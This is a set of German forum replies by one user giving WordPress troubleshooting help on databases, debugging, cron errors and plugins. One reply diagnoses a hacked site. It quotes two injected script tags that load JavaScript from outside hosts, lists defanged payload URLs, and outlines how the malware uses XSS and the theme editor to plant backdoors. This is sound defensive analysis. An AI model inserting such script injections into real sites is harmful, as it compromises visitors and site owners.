Beiträge von b3317133

Wenn Du einen Shop betreibst, kann sich normalerweise jeder als Kunde registrieren.

Dein Screenshot zeigt einen klassischen Spam-Eintrag eines Kunden, der keiner ist, sondern Dich dazu verleiten will, einen der genannten Links aufzurufen.

Das Datum der Registrierung des Benutzers mit entspr. Sortiermöglichkeiten kannst Du mit einem Plugin wie z.B. Users by Date Registered anzeigen.

Zitat von boogy

Ändern Sie die MySQL Connection in der Konfigurationsdatei ...

Bei WordPress ist das die Datei [FONT=Courier New]wp-config.php[/FONT]

Zitat von boogy

Überprüfen Sie, ob Ihre Scripte ggf. reservierte Wörter enthalten..

WordPress ist kompatibel mit MySQL 5.6 oder höher. Wenn ein Plugin o.ä. nicht kompatibel ist, merkst Du das nach einer Umstellung durch Fehler/Probleme damit.

Zitat von boogy

Was hast du geändert?

Nichts.

Zitat von boogy

Weisst du was du ändern solltest und wenn ja wie hast das geändert?

Ich würde das Error Log lesen und dann die nötigen Änderungen wie Anpassungen bzw. Entfernen von Plugins o.ä. vornehmen.

Zitat von boogy

Kann ich den Alten DB einfach bei der neuen DB einspielen wie bei 1und1 auch beschrieben, .

Die Anleitung sieht exakt das vor, einen Export der alten Datenbank und einen Import in die neue Datenbank.

Zitat von boogy

aber dort steht man soll das selber konfiguriren weil es sein kann das ja 5.7 was abderes hat.. ich weiss nur nicht was und wie habe sowwas noch nie gemacht.

Selber konfigurieren musst Du die MySQL Zugangsdaten in [FONT=Courier New]wp-config.php[/FONT], siehe oben. Wenn Du unsicher bist, wende Dich an die Person, die Deinen Website eingerichtet hat oder suche Dir professionelle Unterstützung in Deinem Umfeld.

Zitat von boogy

Vielleicht ist es ja auch getan wenn ich einfach ein mysql DB 5.7 erstelle und die alte da rein importiere,

Die Anleitung sieht exakt das vor, einen Export der alten Datenbank und einen Import in die neue Datenbank.

Zitat von boogy

Ich weiss nur nicht ob ich da drinnenn irgendwelche andere Spalten tabellen oder sonst was noch manuell eintragen müsste deshalb die Frage.

Nirgends in der Anleitung steht etwas von Spalten tabellen ... manuell eintragen o.ä.

Du könntest es noch a) mit dem Classic Editor Plugin versuchen, damit die Einflüsse des sich bei aktuellen WordPress Updates ständig verändernden Gutenberg Editors wegfallen und / oder b) temporär eine andere Seite bei Einstellungen > Startseite zeigt einstellen, um das als Ursache weiter einzugrenzen.

Evtl. ist [FONT=Courier New]WP_DEBUG[/FONT] bei Dir auf [FONT=Courier New]true[/FONT] gesetzt, denn eigentlich sollten solche Hinweise und Warnungen standardmässig von WordPress nicht angezeigt werden. Versuche es mit [FONT=Courier New]false[/FONT] statt [FONT=Courier New]true[/FONT] falls das so eingestellt ist.

Um anderweitig temporär wieder ins Backend zu kommen, kannst Du versuchen, per FTP die Datei [FONT=Courier New]/wp-content/mu-plugins/rms_unique_wp_mu_pl_fl_nm.php[/FONT] aus dem Ordner zu verschieben, z.B. einen Ordner höher in [FONT=Courier New]/wp-content/[/FONT] so dass sie WordPress nicht mehr findet. Das ist aber keine Dauerlösung, denn für irgendwas wird dieses "Must Use" Plugin sicherlich benötigt.

Wende Dich ggf. an die Person, die den Website eingerichtet hat, die sollte wissen, wozu das Plugin dient bzw. woher es kommt.

Zitat von boogy

- Kann ich nicht einfach die alte DB exportieren und in die neue DB importieren?

Hast Du denn die von Dir verlinkte Anleitung nicht gelesen? Gehe Punkt für Punkt so vor wie dort beschrieben...

Die Lücke in Duplikator vom Februar 2020 ermöglichte "lediglich" den Download von Daten, kein Einfügen von Inhalten bzw. persistent XSS.

Zitat

'hierarchical'
(bool) Whether the taxonomy is hierarchical. Default false.

https://developer.wordpress.org/reference/func…ister_taxonomy/

false = wie WordPress "Schlagworte"
true = wie WordPress "Kategorien"

Normalerweise würde man nur die Box rechts für die Taxonomie-Auswahl nutzen und im Query berücksichtigen. Ein extra ACF-Feld ist dafür nicht nötig und - wie Du selbst festgestellt hast - eher verwirrend.

Laufen irgendwelche Optimierungs-Plugins, die z.B. Transients in der Datenbank beeinflussen?

Der Fehler kann nach Blick in den Quellcode im Grunde nur daher kommen, dass [FONT=Courier New]$lock = get_transient( 'doing_cron' );[/FONT] keine Zahl beinhaltet, das triggert dann das Problem bei der Addition mit der WordPress Konstanten in Zeile 654.

Oder hast Du z.B. in Deiner wp-config.php o.ä. die Konstante WP_CRON_LOCK_TIMEOUT selbst gesetzt, ggf. als String z.B. [FONT=Courier New]"300"[/FONT] statt als Zahl [FONT=Courier New]300[/FONT] o.ä.?

Änderungen in WordPress Core Dateien sind (ausser ggf. zu temporärem Debugging) nie eine gute Idee.

• Läuft ein Cache-Plugin o.ä. auf dem Server? Falls ja, leere den Cache oder deaktiviere das entspr. Plugin, ändert das was?
  
• Link zur Seite?

Vielleicht hast Du den Seobility Bot versehentlich ausgesperrt.

Zudem ist die Seite derzeit vermutlich gehackt, nach Zufallsprinzip oder 1x pro IP oder ähnlich erscheinen im Footer unerwünschte Scripteinbindungen im Quelltext, von mir markiert mit [FONT=Courier New]=== hier ===>[/FONT], z.B.

...                                    <a href="https://www.facebook.com/radsport.bikebow/" target="_blank"><span class="fab fa-facebook-square"></span>  &nbsp; </a>
                                </p>
                            </li>
                                                </ul>
                </div>


=== hier ===> <script type="text/javascript" src="//otrwaram.com/apu.php?zoneid=2857365" async data-cfasync="false"></script>
=== hier ===> <script src="//pushosubk.com/ntfc.php?p=2857367" data-cfasync="false" async></script>
<script type='text/javascript'>
/* <![CDATA[ */
var avia_framework_globals = avia_framework_globals || {};
    avia_framework_globals.frameworkUrl = 'https://bikebow.at/wp-content/themes/enfold/framework/';
    ...

Laufen irgendwelche "Sicherheits"-Plugins?

Hintergrund der Frage, ein simpler Aufruf von /readme.txt auf Deinem Server liefert einen Apache 403 Forbidden Fehler...

Die genannte Malware wird nach kurzer Google Analyse offenbar über eine wie auch immer geartete Lücke vermutlich in einem Plugin über persistent XSS hinterlegt, lädt dann bei jedem Seitenbesuch ein oder mehrere JavaScripts, wartet damit bis ein Admin sich anmeldet und baut dann über den WordPress Theme-Editor in die Datei header.php des Themes diverse Dinge ein, die im späteren Verlauf von aussen weitergenutzt werden können.

view-source:ws.stiven fernando.com/kj.txt - online lt. Header Mon, 13 Apr 2020 17:01:36 GMT, base64encoded, führt u.a. zu
view-source:ws.stiven fernando.com/stm?v=2.2.0 - diesen Mechanismus habe ich schon anderswo mal gesehen

(ein Leerzeichen in den URLs ergänzt, damit das niemand aus Versehen klicken kann.)

Die Erfahrung bei ähnlichen Dingen zeigt, bei unbequemen Fragen reagiert das wordpress.org Forum oft recht dünnhäutig.

Bei einer Infektion mit dem ähnlichen Mechanismus war am Ende eine Vielzahl von Core-Dateien inkl. wp-config.php und auch weitere vorhandene Themes infiziert bzw. es wurden auch tief in Verzeichnissen extra Backdoors hinterlegt was ein Vergleich mit einer aus sauberen Quellen angelegten Dateistruktur mit exakt den gleichen Versionen von WordPress, Themes, Plugins sichtbar machen kann.

Dein Log ist schwer zu deuten, entweder ist ein (ggf. versteckter) Benutzer vorhanden, oder eine Backdoor macht den Login zu Deinem Admin Nutzer o.ä., wenn das das Einfallstor wäre.

Zitat von WPGreen

Plötzlich werden nicht mehr alle Schlagworte im Widget angezeigt.

Welches Widget ist gemeint?

• Im Editor beim Bearbeiten? Falls ja, der Gutenberg Editor hat da seit 2018 offene Issues.
• Oder in einem Widget in z.B. einem Sidebar o.ä. im Frontend?

Auch ohne Ton sollte bei den Videos die grundlegende Funktionsweise von Duplicator klar werden.

Alternativ z.B. https://www.youtube.com/results?search…licator+deutsch

Hast Du schon die Beschreibung zu Duplicator und die Videos zur Funktionsweise auf der Plugin Seite angeschaut?

Alternativ den Website bzw. die Benutzersprache des Admins auf nur "Deutsch" umstellen, für "Deutsch (Österreich)" gibt es derzeit für Contact Form 7 keine Übersetzung.

• Von welcher Version hast Du auf WordPress 5.4 aktualisiert?
• Ist das Theme aktuell?
• Funktioniert es mit testweise dem Classic Editor Plugin?

Du könntest einfach die in Contact Form 7 eingebauten Special Mail-Tags nutzen.

Klar geht es, Du kannst durch entspr. Codeanalyse herausfinden, was WordPress beim Anwählen dieser Einstellung macht und was das Plugin bei welcher Einstellung genau macht und dann das was Dir davon nützlich erscheint, in die functions.php Deines Child-Themes schreiben. Das erfordert PHP Kenntnisse und durchaus tiefergehendes WordPress Fachwissen. Viel Erfolg damit.